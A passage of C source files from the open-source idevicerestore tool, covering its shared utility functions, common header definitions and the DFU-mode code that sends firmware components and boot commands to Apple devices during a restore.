idevicerestore_get_error(void) { if (idevicerestore_err_buff[0] == 0) { return NULL; } else { char* p = NULL; while ((strlen(idevicerestore_err_buff) > 0) && (p = strrchr(idevicerestore_err_buff, '\n'))) { p[0] = '\0'; } return (const char*)idevicerestore_err_buff; } } int write_file(const char* filename, const void* data, size_t size) { size_t bytes = 0; FILE* file = NULL; debug("Writing data to %s\n", filename); file = fopen(filename, "wb"); if (file == NULL) { error("write_file: Unable to open file %s\n", filename); return -1; } bytes = fwrite(data, 1, size, file); fclose(file); if (bytes != size) { error("ERROR: Unable to write entire file: %s: %d of %d\n", filename, (int)bytes, (int)size); return -1; } return size; } int read_file(const char* filename, void** data, size_t* size) { size_t bytes = 0; size_t length = 0; FILE* file = NULL; char* buffer = NULL; struct stat fst; debug("Reading data from %s\n", filename); *size = 0; *data = NULL; file = fopen(filename, "rb"); if (file == NULL) { error("read_file: cannot open %s: %s\n", filename, strerror(errno)); return -1; } if (fstat(fileno(file), &fst) < 0) { error("read_file: fstat: %s\n", strerror(errno)); return -1; } length = fst.st_size; buffer = (char*) malloc(length); if (buffer == NULL) { error("ERROR: Out of memory\n"); fclose(file); return -1; } bytes = fread(buffer, 1, length, file); fclose(file); if (bytes != length) { error("ERROR: Unable to read entire file\n"); free(buffer); return -1; } *size = length; *data = buffer; return 0; } void debug_plist(plist_t plist) { uint32_t size = 0; char* data = NULL; plist_to_xml(plist, &data, &size); if (size <= MAX_PRINT_LEN) info("printing %i bytes plist:\n%s", size, data); else info("supressed printing %i bytes plist...\n", size); free(data); } void print_progress_bar(double progress) { #ifndef WIN32 if (info_disabled) return; int i = 0; if(progress < 0) return; if(progress > 100) progress = 100; fprintf((info_stream) ? info_stream : stdout, "\r["); for(i = 0; i < 50; i++) { if(i < progress / 2) fprintf((info_stream) ? info_stream : stdout, "="); else fprintf((info_stream) ? info_stream : stdout, " "); } fprintf((info_stream) ? info_stream : stdout, "] %5.1f%%", progress); if(progress >= 100) fprintf((info_stream) ? info_stream : stdout, "\n"); fflush((info_stream) ? info_stream : stdout); #endif } #define GET_RAND(min, max) ((rand() % (max - min)) + min) char *generate_guid(void) { char *guid = (char *) malloc(sizeof(char) * 37); const char *chars = "ABCDEF0123456789"; srand(time(NULL)); int i = 0; for (i = 0; i < 36; i++) { if (i == 8 || i == 13 || i == 18 || i == 23) { guid[i] = '-'; continue; } else { guid[i] = chars[GET_RAND(0, 16)]; } } guid[36] = '\0'; return guid; } int mkdir_with_parents(const char *dir, int mode) { if (!dir) return -1; if (__mkdir(dir, mode) == 0) { return 0; } else { if (errno == EEXIST) { return 0; } else if (errno == ENOENT) { // ignore } else { return -1; } } int res; char *parent = strdup(dir); char *parentdir = dirname(parent); if (parentdir && (strcmp(parentdir, ".") != 0) && (strcmp(parentdir, dir) != 0)) { res = mkdir_with_parents(parentdir, mode); } else { res = -1; } free(parent); if (res == 0) { mkdir_with_parents(dir, mode); } return res; } #ifndef HAVE_MKSTEMP /* Based on libc's __gen_tempname() from sysdeps/posix/tempname.c Copyright (C) 1991-2018 Free Software Foundation, Inc. With changes from https://stackoverflow.com/a/6036308 and some additional changes. */ int mkstemp(char *tmpl) { static const char letters[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"; int len; char *XXXXXX; static unsigned long long value; unsigned long long random_time_bits; unsigned int count; int fd = -1; int save_errno = errno; /* A lower bound on the number of temporary files to attempt to generate. The maximum total number of temporary file names that can exist for a given template is 62**6. It should never be necessary to try all these combinations. Instead if a reasonable number of names is tried (we define reasonable as 62**3) fail to give the system administrator the chance to remove the problems. */ #define ATTEMPTS_MIN (62 * 62 * 62) /* The number of times to attempt to generate a temporary file. To conform to POSIX, this must be no smaller than TMP_MAX. */ #if ATTEMPTS_MIN < TMP_MAX unsigned int attempts = TMP_MAX; #else unsigned int attempts = ATTEMPTS_MIN; #endif len = strlen (tmpl); if (len < 6 || strcmp (&tmpl[len - 6], "XXXXXX")) { errno = EINVAL; return -1; } /* This is where the Xs start. */ XXXXXX = &tmpl[len - 6]; /* Get some more or less random data. */ #ifdef WIN32 { SYSTEMTIME stNow; FILETIME ftNow; // get system time GetSystemTime(&stNow); if (!SystemTimeToFileTime(&stNow, &ftNow)) { errno = -1; return -1; } random_time_bits = (((unsigned long long)ftNow.dwHighDateTime << 32) | (unsigned long long)ftNow.dwLowDateTime); } value += random_time_bits ^ ((unsigned long long)GetCurrentProcessId() << 32 | (unsigned long long)GetCurrentThreadId()); #else { struct timeval tvNow = {0, 0}; gettimeofday(&tvNow, NULL); random_time_bits = (((unsigned long long)tvNow.tv_sec << 32) | (unsigned long long)tvNow.tv_usec); } value += random_time_bits ^ ((unsigned long long)getpid() << 32 | (unsigned long long)(uintptr_t)pthread_self()); #endif for (count = 0; count < attempts; value += 7777, ++count) { unsigned long long v = value; /* Fill in the random bits. */ XXXXXX[0] = letters[v % 62]; v /= 62; XXXXXX[1] = letters[v % 62]; v /= 62; XXXXXX[2] = letters[v % 62]; v /= 62; XXXXXX[3] = letters[v % 62]; v /= 62; XXXXXX[4] = letters[v % 62]; v /= 62; XXXXXX[5] = letters[v % 62]; #ifdef WIN32 fd = open (tmpl, O_RDWR | O_CREAT | O_EXCL, _S_IREAD | _S_IWRITE); #else fd = open (tmpl, O_RDWR | O_CREAT | O_EXCL, S_IRUSR | S_IWUSR); #endif if (fd >= 0) { errno = save_errno; return fd; } else if (errno != EEXIST) return -1; } /* We got out of the loop because we ran out of combinations to try. */ errno = EEXIST; return -1; } #endif char *get_temp_filename(const char *prefix) { char *result = NULL; char *tmpdir; size_t lt; size_t lp; const char *TMPVARS[] = { "TMPDIR", "TMP", "TEMP", "TEMPDIR", NULL }; int i = 0; int fd; /* check the prefix parameter */ if (!prefix) { prefix = "tmp_"; } #ifdef WIN32 if (strchr(prefix, '/') || strchr(prefix, '\\')) return NULL; #else if (strchr(prefix, '/')) return NULL; #endif while (TMPVARS[i] && ((tmpdir = getenv(TMPVARS[i])) == NULL)) i++; if (!tmpdir || access(tmpdir, W_OK|X_OK) != 0) { #ifdef WIN32 tmpdir = "C:\\WINDOWS\\TEMP"; #else tmpdir = P_tmpdir; #endif } if (!tmpdir || access(tmpdir, W_OK|X_OK) != 0) { return NULL; } lt = strlen(tmpdir); if (lt < 1) { return NULL; } lp = strlen(prefix); result = malloc(lt + lp + 8); memcpy(result, tmpdir, lt); #ifdef WIN32 if (tmpdir[lt-1] != '/' && tmpdir[lt-1] != '\\') result[lt++] = '\\'; #else if (tmpdir[lt-1] != '/') result[lt++] = '/'; #endif strncpy(result + lt, prefix, lp); strcpy(result + lt + lp, "XXXXXX"); fd = mkstemp(result); if (fd < 0) { free(result); result = NULL; } close(fd); return result; } void idevicerestore_progress(struct idevicerestore_client_t* client, int step, double progress) { thread_once(&init_once, _log_init); mutex_lock(&log_mutex); if(client && client->progress_cb) { client->progress_cb(step, progress, client->progress_cb_data); } else { // we don't want to be too verbose in regular idevicerestore. if ((step == RESTORE_STEP_UPLOAD_FS) || (step == RESTORE_STEP_VERIFY_FS) || (step == RESTORE_STEP_FLASH_FW) || (step == RESTORE_STEP_UPLOAD_IMG)) { print_progress_bar(100.0 * progress); } } mutex_unlock(&log_mutex); } #ifndef HAVE_STRSEP char* strsep(char** strp, const char* delim) { char *p, *s; if (strp == NULL || *strp == NULL || **strp == '\0') return NULL; s = *strp; p = s + strcspn(s, delim); if (*p != '\0') *p++ = '\0'; *strp = p; return s; } #endif #ifndef HAVE_REALPATH char* realpath(const char *filename, char *resolved_name) { #ifdef WIN32 if (access(filename, F_OK) != 0) { return NULL; } if (GetFullPathName(filename, MAX_PATH, resolved_name, NULL) == 0) { return NULL; } return resolved_name; #else #error please provide a realpath implementation for this platform return NULL; #endif } #endif #ifdef WIN32 #define BS_CC '\b' #define CTRL_C_CC 0x03 #define ESC_CC 0x1B #define my_getch _getch #else #define BS_CC 0x7f static int my_getch(void) { struct termios oldt, newt; int ch; tcgetattr(STDIN_FILENO, &oldt); newt = oldt; newt.c_lflag &= ~(ICANON | ECHO); tcsetattr(STDIN_FILENO, TCSANOW, &newt); ch = getchar(); tcsetattr(STDIN_FILENO, TCSANOW, &oldt); return ch; } #endif void get_user_input(char *buf, int maxlen, int secure) { int len = 0; int c; while ((c = my_getch()) > 0) { if ((c == '\r') || (c == '\n')) { break; } else if (isprint(c)) { if (len < maxlen-1) buf[len++] = c; fputc((secure) ? '*' : c, stdout); } else if (c == BS_CC) { if (len > 0) { fputs("\b \b", stdout); len--; } } #ifdef WIN32 else if (c == CTRL_C_CC || c == ESC_CC) { c = -1; break; } #endif } if (c < 0) { len = 0; } fputs("\n", stdout); buf[len] = 0; } const char* path_get_basename(const char* path) { #ifdef WIN32 const char *p = path + strlen(path); while (p > path) { if ((*p == '/') || (*p == '\\')) { return p+1; } p--; } return p; #else const char *p = strrchr(path, '/'); return p ? p + 1 : path; #endif } idevicerestore-master/src/common.h000066400000000000000000000121111464320324600176130ustar00rootroot00000000000000/* * common.h * Misc functions used in idevicerestore * * Copyright (c) 2012-2019 Nikias Bassen. All Rights Reserved. * Copyright (c) 2012 Martin Szulecki. All Rights Reserved. * Copyright (c) 2010 Joshua Hill. All Rights Reserved. * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ #ifndef IDEVICERESTORE_COMMON_H #define IDEVICERESTORE_COMMON_H #ifdef __cplusplus extern "C" { #endif #ifdef HAVE_CONFIG_H #include #endif #include #include #include #include #include #include "idevicerestore.h" #define _MODE_UNKNOWN 0 #define _MODE_WTF 1 #define _MODE_DFU 2 #define _MODE_RECOVERY 3 #define _MODE_RESTORE 4 #define _MODE_NORMAL 5 #define _MODE_PORTDFU 6 #define MODE_UNKNOWN &idevicerestore_modes[_MODE_UNKNOWN] #define MODE_WTF &idevicerestore_modes[_MODE_WTF] #define MODE_DFU &idevicerestore_modes[_MODE_DFU] #define MODE_RECOVERY &idevicerestore_modes[_MODE_RECOVERY] #define MODE_RESTORE &idevicerestore_modes[_MODE_RESTORE] #define MODE_NORMAL &idevicerestore_modes[_MODE_NORMAL] #define MODE_PORTDFU &idevicerestore_modes[_MODE_PORTDFU] #define FLAG_QUIT 1 #define CPFM_FLAG_SECURITY_MODE 1 << 0 #define CPFM_FLAG_PRODUCTION_MODE 1 << 1 #define IBOOT_FLAG_IMAGE4_AWARE 1 << 2 #define IBOOT_FLAG_EFFECTIVE_SECURITY_MODE 1 << 3 #define IBOOT_FLAG_EFFECTIVE_PRODUCTION_MODE 1 << 4 #define USER_AGENT_STRING "InetURL/1.0" struct dfu_client_t; struct normal_client_t; struct restore_client_t; struct recovery_client_t; struct ipsw_archive; typedef struct ipsw_archive* ipsw_archive_t; struct idevicerestore_mode_t { int index; const char* string; }; struct idevicerestore_entry_t { char* name; char* path; char* filename; char* blob_data; uint32_t blob_size; struct idevicerestore_entry* next; struct idevicerestore_entry* prev; }; struct idevicerestore_client_t { int flags; int debug_level; plist_t tss; plist_t tss_localpolicy; plist_t tss_recoveryos_root_ticket; char* tss_url; plist_t version_data; uint64_t ecid; unsigned char* nonce; int nonce_size; int image4supported; plist_t build_manifest; plist_t preflight_info; char* udid; char* srnm; ipsw_archive_t ipsw; struct dfu_client_t* dfu; struct restore_client_t* restore; struct recovery_client_t* recovery; irecv_device_t device; struct idevicerestore_entry_t** entries; struct idevicerestore_mode_t* mode; char* version; char* build; char* device_version; char* device_build; int build_major; char* restore_boot_args; char* cache_dir; unsigned char* root_ticket; int root_ticket_len; idevicerestore_progress_cb_t progress_cb; void* progress_cb_data; irecv_device_event_context_t irecv_e_ctx; void* idevice_e_ctx; mutex_t device_event_mutex; cond_t device_event_cond; int ignore_device_add_events; plist_t macos_variant; char* restore_variant; char* filesystem; int delete_fs; int async_err; }; extern struct idevicerestore_mode_t idevicerestore_modes[]; extern int idevicerestore_debug; __attribute__((format(printf, 1, 2))) void info(const char* format, ...); __attribute__((format(printf, 1, 2))) void error(const char* format, ...); __attribute__((format(printf, 1, 2))) void debug(const char* format, ...); void debug_plist(plist_t plist); void print_progress_bar(double progress); int read_file(const char* filename, void** data, size_t* size); int write_file(const char* filename, const void* data, size_t size); char *generate_guid(void); #ifdef WIN32 #include #include #define __mkdir(path, mode) mkdir(path) #ifndef sleep #define sleep(x) Sleep(x*1000) #endif #define __usleep(x) Sleep(x/1000) #else #include #define __mkdir(path, mode) mkdir(path, mode) #define __usleep(x) usleep(x) #endif #ifndef S_IFLNK #define S_IFLNK 0120000 #endif #ifndef S_ISLNK #define S_ISLNK(m) (((m) & S_IFMT) == S_IFLNK) #endif int mkdir_with_parents(const char *dir, int mode); char *get_temp_filename(const char *prefix); void idevicerestore_progress(struct idevicerestore_client_t* client, int step, double progress); #ifndef HAVE_STRSEP char* strsep(char** strp, const char* delim); #endif #ifndef HAVE_REALPATH char* realpath(const char *filename, char *resolved_name); #endif void get_user_input(char *buf, int maxlen, int secure); const char* path_get_basename(const char* path); #ifdef __cplusplus } #endif #endif idevicerestore-master/src/dfu.c000066400000000000000000000460231464320324600171050ustar00rootroot00000000000000/* * dfu.c * Functions for handling idevices in DFU mode * * Copyright (c) 2012-2019 Nikias Bassen. All Rights Reserved. * Copyright (c) 2010-2013 Martin Szulecki. All Rights Reserved. * Copyright (c) 2010 Joshua Hill. All Rights Reserved. * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ #include #include #include #include #include #include #include "dfu.h" #include "recovery.h" #include "idevicerestore.h" #include "common.h" static int dfu_progress_callback(irecv_client_t client, const irecv_event_t* event) { if (event->type == IRECV_PROGRESS) { print_progress_bar(event->progress); } return 0; } int dfu_client_new(struct idevicerestore_client_t* client) { irecv_client_t dfu = NULL; if (client->dfu == NULL) { client->dfu = (struct dfu_client_t*)malloc(sizeof(struct dfu_client_t)); memset(client->dfu, 0, sizeof(struct dfu_client_t)); if (client->dfu == NULL) { error("ERROR: Out of memory\n"); return -1; } } if (irecv_open_with_ecid_and_attempts(&dfu, client->ecid, 10) != IRECV_E_SUCCESS) { error("ERROR: Unable to connect to device in DFU mode\n"); return -1; } irecv_event_subscribe(dfu, IRECV_PROGRESS, &dfu_progress_callback, NULL); client->dfu->client = dfu; return 0; } void dfu_client_free(struct idevicerestore_client_t* client) { if(client != NULL) { if (client->dfu != NULL) { if(client->dfu->client != NULL) { irecv_close(client->dfu->client); client->dfu->client = NULL; } free(client->dfu); } client->dfu = NULL; } } irecv_device_t dfu_get_irecv_device(struct idevicerestore_client_t* client) { irecv_client_t dfu = NULL; irecv_error_t dfu_error = IRECV_E_SUCCESS; irecv_device_t device = NULL; irecv_init(); if (irecv_open_with_ecid_and_attempts(&dfu, client->ecid, 10) != IRECV_E_SUCCESS) { return NULL; } dfu_error = irecv_devices_get_device_by_client(dfu, &device); if (dfu_error == IRECV_E_SUCCESS) { if (client->ecid == 0) { const struct irecv_device_info *device_info = irecv_get_device_info(dfu); client->ecid = device_info->ecid; } } irecv_close(dfu); if (dfu_error != IRECV_E_SUCCESS) { return NULL; } return device; } int dfu_send_buffer_with_options(struct idevicerestore_client_t* client, unsigned char* buffer, unsigned int size, unsigned int irecv_options) { irecv_error_t err = 0; info("Sending data (%d bytes)...\n", size); err = irecv_send_buffer(client->dfu->client, buffer, size, irecv_options); if (err != IRECV_E_SUCCESS) { error("ERROR: Unable to send data: %s\n", irecv_strerror(err)); return -1; } return 0; } int dfu_send_buffer(struct idevicerestore_client_t* client, unsigned char* buffer, unsigned int size) { return dfu_send_buffer_with_options(client, buffer, size, IRECV_SEND_OPT_DFU_NOTIFY_FINISH); } int dfu_send_component(struct idevicerestore_client_t* client, plist_t build_identity, const char* component) { char* path = NULL; // Use a specific TSS ticket for the Ap,LocalPolicy component plist_t tss = client->tss; if (strcmp(component, "Ap,LocalPolicy") == 0) { tss = client->tss_localpolicy; } unsigned char* component_data = NULL; unsigned int component_size = 0; if (strcmp(component, "Ap,LocalPolicy") == 0) { // If Ap,LocalPolicy => Inject an empty policy component_data = malloc(sizeof(lpol_file)); component_size = sizeof(lpol_file); memcpy(component_data, lpol_file, component_size); } else { if (tss) { if (tss_response_get_path_by_entry(tss, component, &path) < 0) { debug("NOTE: No path for component %s in TSS, will fetch from build_identity\n", component); } } if (!path) { if (build_identity_get_component_path(build_identity, component, &path) < 0) { error("ERROR: Unable to get path for component '%s'\n", component); free(path); return -1; } } if (extract_component(client->ipsw, path, &component_data, &component_size) < 0) { error("ERROR: Unable to extract component: %s\n", component); free(path); return -1; } free(path); path = NULL; } unsigned char* data = NULL; uint32_t size = 0; if (personalize_component(component, component_data, component_size, tss, &data, &size) < 0) { error("ERROR: Unable to get personalized component: %s\n", component); free(component_data); return -1; } free(component_data); component_data = NULL; if (!client->image4supported && client->build_major > 8 && !(client->flags & FLAG_CUSTOM) && !strcmp(component, "iBEC")) { unsigned char* ticket = NULL; unsigned int tsize = 0; if (tss_response_get_ap_ticket(client->tss, &ticket, &tsize) < 0) { error("ERROR: Unable to get ApTicket from TSS request\n"); return -1; } uint32_t fillsize = 0; if (tsize % 64 != 0) { fillsize = ((tsize / 64) + 1) * 64; } debug("ticket size = %d\nfillsize = %d\n", tsize, fillsize); unsigned char* newdata = (unsigned char*)malloc(size + fillsize); memcpy(newdata, ticket, tsize); memset(newdata + tsize, '\xFF', fillsize - tsize); memcpy(newdata + fillsize, data, size); free(data); data = newdata; size += fillsize; } info("Sending %s (%d bytes)...\n", component, size); irecv_error_t err = irecv_send_buffer(client->dfu->client, data, size, IRECV_SEND_OPT_DFU_NOTIFY_FINISH); if (err != IRECV_E_SUCCESS) { error("ERROR: Unable to send %s component: %s\n", component, irecv_strerror(err)); free(data); return -1; } free(data); return 0; } int dfu_get_bdid(struct idevicerestore_client_t* client, unsigned int* bdid) { if(client->dfu == NULL) { if (dfu_client_new(client) < 0) { return -1; } } const struct irecv_device_info *device_info = irecv_get_device_info(client->dfu->client); if (!device_info) { return -1; } *bdid = device_info->bdid; return 0; } int dfu_get_cpid(struct idevicerestore_client_t* client, unsigned int* cpid) { if(client->dfu == NULL) { if (dfu_client_new(client) < 0) { return -1; } } const struct irecv_device_info *device_info = irecv_get_device_info(client->dfu->client); if (!device_info) { return -1; } *cpid = device_info->cpid; return 0; } int dfu_get_prev(struct idevicerestore_client_t* client, unsigned int* prev) { if(client->dfu == NULL) { if (dfu_client_new(client) < 0) { return -1; } } const struct irecv_device_info *device_info = irecv_get_device_info(client->dfu->client); if (!device_info) { return -1; } char* ptr = strstr(device_info->serial_string, "PREV:"); if (ptr) { sscanf(ptr, "PREV:%x", prev); return 0; } return -1; } int dfu_is_image4_supported(struct idevicerestore_client_t* client) { if(client->dfu == NULL) { if (dfu_client_new(client) < 0) { return 0; } } const struct irecv_device_info *device_info = irecv_get_device_info(client->dfu->client); if (!device_info) { return 0; } return (device_info->ibfl & IBOOT_FLAG_IMAGE4_AWARE); } int dfu_get_portdfu_nonce(struct idevicerestore_client_t* client, unsigned char** nonce, unsigned int* nonce_size) { if(client->dfu == NULL) { if (dfu_client_new(client) < 0) { return -1; } } const struct irecv_device_info *device_info = irecv_get_device_info(client->dfu->client); if (!device_info) { return -1; } if (device_info->ap_nonce && device_info->ap_nonce_size > 0) { *nonce = (unsigned char*)malloc(device_info->ap_nonce_size); if (!*nonce) { return -1; } *nonce_size = device_info->ap_nonce_size; // The nonce is backwards, so we have to swap the bytes unsigned int i = 0; for (i = 0; i < *nonce_size; i++) { (*nonce)[(*nonce_size)-1-i] = device_info->ap_nonce[i]; } } return 0; } int dfu_get_ap_nonce(struct idevicerestore_client_t* client, unsigned char** nonce, unsigned int* nonce_size) { if(client->dfu == NULL) { if (dfu_client_new(client) < 0) { return -1; } } const struct irecv_device_info *device_info = irecv_get_device_info(client->dfu->client); if (!device_info) { return -1; } if (device_info->ap_nonce && device_info->ap_nonce_size > 0) { *nonce = (unsigned char*)malloc(device_info->ap_nonce_size); if (!*nonce) { return -1; } *nonce_size = device_info->ap_nonce_size; memcpy(*nonce, device_info->ap_nonce, *nonce_size); } return 0; } int dfu_get_sep_nonce(struct idevicerestore_client_t* client, unsigned char** nonce, unsigned int* nonce_size) { if(client->dfu == NULL) { if (dfu_client_new(client) < 0) { return -1; } } const struct irecv_device_info *device_info = irecv_get_device_info(client->dfu->client); if (!device_info) { return -1; } if (device_info->sep_nonce && device_info->sep_nonce_size > 0) { *nonce = (unsigned char*)malloc(device_info->sep_nonce_size); if (!*nonce) { return -1; } *nonce_size = device_info->sep_nonce_size; memcpy(*nonce, device_info->sep_nonce, *nonce_size); } return 0; } int dfu_send_component_and_command(struct idevicerestore_client_t* client, plist_t build_identity, const char* component, const char* command) { irecv_error_t dfu_error = IRECV_E_SUCCESS; if (dfu_send_component(client, build_identity, component) < 0) { error("ERROR: Unable to send %s to device.\n", component); return -1; } info("INFO: executing command: %s\n", command); dfu_error = irecv_send_command(client->dfu->client, command); if (dfu_error != IRECV_E_SUCCESS) { error("ERROR: Unable to execute %s\n", command); return -1; } return 0; } int dfu_send_command(struct idevicerestore_client_t* client, const char* command) { irecv_error_t dfu_error = IRECV_E_SUCCESS; info("INFO: executing command: %s\n", command); dfu_error = irecv_send_command(client->dfu->client, command); if (dfu_error != IRECV_E_SUCCESS) { error("ERROR: Unable to execute %s\n", command); return -1; } return 0; } int dfu_send_iboot_stage1_components(struct idevicerestore_client_t* client, plist_t build_identity) { plist_t manifest_node = plist_dict_get_item(build_identity, "Manifest"); if (!manifest_node || plist_get_node_type(manifest_node) != PLIST_DICT) { error("ERROR: Unable to find manifest node\n"); return -1; } plist_dict_iter iter = NULL; plist_dict_new_iter(manifest_node, &iter); int err = 0; while (iter) { char *key = NULL; plist_t node = NULL; plist_dict_next_item(manifest_node, iter, &key, &node); if (key == NULL) break; plist_t iboot_node = plist_access_path(node, 2, "Info", "IsLoadedByiBoot"); plist_t iboot_stg1_node = plist_access_path(node, 2, "Info", "IsLoadedByiBootStage1"); uint8_t is_stg1 = 0; if (iboot_stg1_node && plist_get_node_type(iboot_stg1_node) == PLIST_BOOLEAN) { plist_get_bool_val(iboot_stg1_node, &is_stg1); } if (iboot_node && plist_get_node_type(iboot_node) == PLIST_BOOLEAN && is_stg1) { uint8_t b = 0; plist_get_bool_val(iboot_node, &b); if (b) { debug("DEBUG: %s is loaded by iBoot Stage 1 and iBoot.\n", key); } else { debug("DEBUG: %s is loaded by iBoot Stage 1 but not iBoot...\n", key); } if (dfu_send_component_and_command(client, build_identity, key, "firmware") < 0) { error("ERROR: Unable to send component '%s' to device.\n", key); err++; } } free(key); } free(iter); return (err) ? -1 : 0; } int dfu_enter_recovery(struct idevicerestore_client_t* client, plist_t build_identity) { int mode = 0; if (dfu_client_new(client) < 0) { error("ERROR: Unable to connect to DFU device\n"); return -1; } irecv_get_mode(client->dfu->client, &mode); if (mode != IRECV_K_DFU_MODE) { info("NOTE: device is not in DFU mode, assuming recovery mode.\n"); client->mode = MODE_RECOVERY; return 0; } mutex_lock(&client->device_event_mutex); if (dfu_send_component(client, build_identity, "iBSS") < 0) { error("ERROR: Unable to send iBSS to device\n"); irecv_close(client->dfu->client); client->dfu->client = NULL; return -1; } dfu_client_free(client); if (client->build_major > 8) { /* reconnect */ debug("Waiting for device to disconnect...\n"); cond_wait_timeout(&client->device_event_cond, &client->device_event_mutex, 10000); if (client->mode != MODE_UNKNOWN || (client->flags & FLAG_QUIT)) { mutex_unlock(&client->device_event_mutex); if (!(client->flags & FLAG_QUIT)) { error("ERROR: Device did not disconnect. Possibly invalid iBSS. Reset device and try again.\n"); } return -1; } debug("Waiting for device to reconnect...\n"); cond_wait_timeout(&client->device_event_cond, &client->device_event_mutex, 10000); if ((client->mode != MODE_DFU && client->mode != MODE_RECOVERY) || (client->flags & FLAG_QUIT)) { mutex_unlock(&client->device_event_mutex); if (!(client->flags & FLAG_QUIT)) { error("ERROR: Device did not reconnect in DFU or recovery mode. Possibly invalid iBSS. Reset device and try again.\n"); } return -1; } mutex_unlock(&client->device_event_mutex); dfu_client_new(client); /* get nonce */ unsigned char* nonce = NULL; unsigned int nonce_size = 0; int nonce_changed = 0; if (dfu_get_ap_nonce(client, &nonce, &nonce_size) < 0) { error("ERROR: Unable to get ApNonce from device!\n"); return -1; } if (!client->nonce || (nonce_size != client->nonce_size) || (memcmp(nonce, client->nonce, nonce_size) != 0)) { nonce_changed = 1; if (client->nonce) { free(client->nonce); } client->nonce = nonce; client->nonce_size = nonce_size; } else { free(nonce); } info("Nonce: "); int i; for (i = 0; i < client->nonce_size; i++) { info("%02x ", client->nonce[i]); } info("\n"); if (nonce_changed && !(client->flags & FLAG_CUSTOM)) { // Welcome iOS5. We have to re-request the TSS with our nonce. plist_free(client->tss); if (get_tss_response(client, build_identity, &client->tss) < 0) { error("ERROR: Unable to get SHSH blobs for this device\n"); return -1; } if (!client->tss) { error("ERROR: can't continue without TSS\n"); return -1; } fixup_tss(client->tss); } if (irecv_usb_set_configuration(client->dfu->client, 1) < 0) { error("ERROR: set configuration failed\n"); } mutex_lock(&client->device_event_mutex); // Now, before sending iBEC, we must send necessary firmwares on new versions. if (client->macos_variant) { // Without this empty policy file & its special signature, iBEC won't start. if (dfu_send_component_and_command(client, build_identity, "Ap,LocalPolicy", "lpolrestore") < 0) { mutex_unlock(&client->device_event_mutex); error("ERROR: Unable to send Ap,LocalPolicy to device\n"); irecv_close(client->dfu->client); client->dfu->client = NULL; return -1; } char *value = NULL; unsigned long boot_stage = 0; irecv_getenv(client->dfu->client, "boot-stage", &value); if (value) { boot_stage = strtoul(value, NULL, 0); } if (boot_stage > 0) { info("iBoot boot-stage=%s\n", value); free(value); value = NULL; if (boot_stage != 1) { error("ERROR: iBoot should be at boot stage 1, continuing anyway...\n"); } } if (dfu_send_iboot_stage1_components(client, build_identity) < 0) { mutex_unlock(&client->device_event_mutex); error("ERROR: Unable to send iBoot stage 1 components to device\n"); irecv_close(client->dfu->client); client->dfu->client = NULL; return -1; } if (dfu_send_command(client, "setenv auto-boot false") < 0) { mutex_unlock(&client->device_event_mutex); error("ERROR: Unable to send command to device\n"); irecv_close(client->dfu->client); client->dfu->client = NULL; return -1; } if (dfu_send_command(client, "saveenv") < 0) { mutex_unlock(&client->device_event_mutex); error("ERROR: Unable to send command to device\n"); irecv_close(client->dfu->client); client->dfu->client = NULL; return -1; } if (dfu_send_command(client, "setenvnp boot-args rd=md0 nand-enable-reformat=1 -progress -restore") < 0) { mutex_unlock(&client->device_event_mutex); error("ERROR: Unable to send command to device\n"); irecv_close(client->dfu->client); client->dfu->client = NULL; return -1; } if (dfu_send_component(client, build_identity, "RestoreLogo") < 0) { mutex_unlock(&client->device_event_mutex); error("ERROR: Unable to send RestoreDCP to device\n"); irecv_close(client->dfu->client); client->dfu->client = NULL; return -1; } if (dfu_send_command(client, "setpicture 4") < 0) { mutex_unlock(&client->device_event_mutex); error("ERROR: Unable to send command to device\n"); irecv_close(client->dfu->client); client->dfu->client = NULL; return -1; } if (dfu_send_command(client, "bgcolor 0 0 0") < 0) { mutex_unlock(&client->device_event_mutex); error("ERROR: Unable to send command to device\n"); irecv_close(client->dfu->client); client->dfu->client = NULL; return -1; } } /* send iBEC */ if (dfu_send_component(client, build_identity, "iBEC") < 0) { mutex_unlock(&client->device_event_mutex); error("ERROR: Unable to send iBEC to device\n"); irecv_close(client->dfu->client); client->dfu->client = NULL; return -1; } if (client->mode == MODE_RECOVERY) { sleep(1); if (irecv_send_command_breq(client->dfu->client, "go", 1) != IRECV_E_SUCCESS) { mutex_unlock(&client->device_event_mutex); error("ERROR: Unable to execute iBEC\n"); return -1; } if (client->build_major < 20) { irecv_usb_control_transfer(client->dfu->client, 0x21, 1, 0, 0, 0, 0, 5000); } } dfu_client_free(client); } debug("Waiting for device to disconnect...\n"); cond_wait_timeout(&client->device_event_cond, &client->device_event_mutex, 10000); if (client->mode != MODE_UNKNOWN || (client->flags & FLAG_QUIT)) { mutex_unlock(&client->device_event_mutex); if (!(client->flags & FLAG_QUIT)) { error("ERROR: Device did not disconnect. Possibly invalid %s. Reset device and try again.\n", (client->build_major > 8) ? "iBEC" : "iBSS"); } return -1; } debug("Waiting for device to reconnect in recovery mode...\n"); cond_wait_timeout(&client->device_event_cond, &client->device_event_mutex, 10000); if (client->mode != MODE_RECOVERY || (client->flags & FLAG_QUIT)) { mutex_unlock(&client->device_event_mutex); if (!(client->flags & FLAG_QUIT)) { error("ERROR: Device did not reconnect in recovery mode. Possibly invalid %s. Reset device and try again.\n", (client->build_major > 8) ? "iBEC" : "iBSS"); } return -1; } mutex_unlock(&client->device_event_mutex); if (recovery_client_new(client) < 0) { error("ERROR: Unable to connect to recovery device\n"); if (client->recovery->client) { irecv_close(client->recovery->client); client->recovery->client = NULL; } return -1; } return 0; } idevicerestore-master/src/dfu.h000066400000000000000000000047651464320324600171210ustar00rootroot00000000000000/* 